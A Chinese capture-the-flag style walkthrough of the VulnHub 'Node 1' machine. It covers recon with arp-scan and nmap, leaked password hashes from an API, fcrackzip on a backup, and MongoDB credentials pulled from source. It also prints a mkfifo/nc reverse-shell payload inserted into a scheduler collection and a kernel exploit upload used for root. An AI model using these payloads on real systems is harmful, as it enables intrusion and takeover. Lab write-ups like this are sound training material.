- 安装过程
- 信息收集
- 代码审计
- 登录服务器
- 也可以登录mongo数据库
- 提权
- 总结:
- 参考:
首先去官网下载node
,下载mirror
版本
https://www.vulnhub.com/entry/node-1,252/
然后直接创建个文件夹,VMvare
导入node。
配置网络:
在vm中的编辑一栏打开虚拟网络编辑器
打开那个更改设置,添加一个网络
最后需要在node
和kali
配置一个网卡,记住都要配置一个。
kaliifconfig
命令,网络配置成功
arp-scan扫描,获取同一个网段的可打开的主机。
arp-scan 用来发现系统和指纹识别的命令行工具
发现192.168.79.128
和192.168.79.254
ping一下,128的主机存活。
使用nmap对端口进行探测,探测出来22,3000端口打开
获取详细的banner信息,3000,端口有用
访问3000端口
该web界面使用node.js编写,通过审计js源码,在“assets/js/app/controllers/home.js”这个文件中可以获取到存储敏感信息的位置/api/users/latest/
,访问该位置
使用hash-identifier
判断加密方式,为SHA-256,如下图所示:
网上找工具解码:
使用任意一个口令登录,登陆后如下图所示,但是没有其他的东西了。
这里面说Only admin users have access to the control panel currently, but check back soon to test the standard user functionality!只有管理员用户才能访问这个界面,猜想应该还有另外的管理员帐号,直接访问/api/users/ 获取到了另外一个用户
解出该用户的密码(manchester)后,登录可以下载该网站的备份源码,如下图所示
下载备份,看到文件内容是base64加密
对文件进行解码
使用base64 -d 解码输出一个文件内
base64 -d myplace.backup > myplace
将文件打开看了一下,是乱码,file看一下文件类型是zip压缩包
发现是个加密文件,需要先进行破解,可以使用kali自带工具fcrackzip
进行破解zip加密文件,该工具支持暴力破解和字典猜解两种方式
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt myplace.zip
输入密码,解压出源代码
发现很多目录,因为是nodejs,所有看下他的app.js
看到了mongodb
的账号和密码,也许可以登录
账户:mark 密码:5AYRft73VtFpc84k
登录服务器
利用ssh
,进行远程登录mongodb
ssh:Secure Shell(安全外壳协议,简称SSH)是一种加密的网络传输协议,可在不安全的网络中为网络服务提供安全的传输环境。 SSH通过在网络中建立安全隧道来实现SSH客户端与服务器之间的连接。 SSH最常见的用途是远程登录系统,人们通常利用SSH来传输命令行界面和远程执行命令
形式:
ssh 用户名@服务器ip地址 -p 端口号
登录成功。但当前用户(mark)没有root权限,需要进行提权操作
这儿可以执行命令
连接MongoDB,进去scheduler数据库
mongo -u mark -p 5AYRft73VtFpc84k scheduler
反弹shell
db.tasks.insert({cmd:"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.79.129 888 >/tmp/f"});
成功。
提权一般提权都是内核提权,这儿我们先确定当前系统的内核版本和系统版本
通过查看版本信息,使用searchsploit
(漏洞查询工具) 查找,可以知道该内核版本存在漏洞可以直接提权,如下图所示
有exp,我们使用scp
命令(远程文件拷贝)将payload上传至靶机
scp /usr/share/exploitdb/exploits/linux/local/44298.c mark@192.168.79.128:/tmp/
开始提权
成功提权为root
- 会利用namp和arp-scan对端口和ip地址进行扫描
- 得到web页面,就类似于CTF题,找突破口
- 然后ssh远程连接数据库服务器
- 利用服务器内核漏洞进行提权
https://xz.aliyun.com/t/2695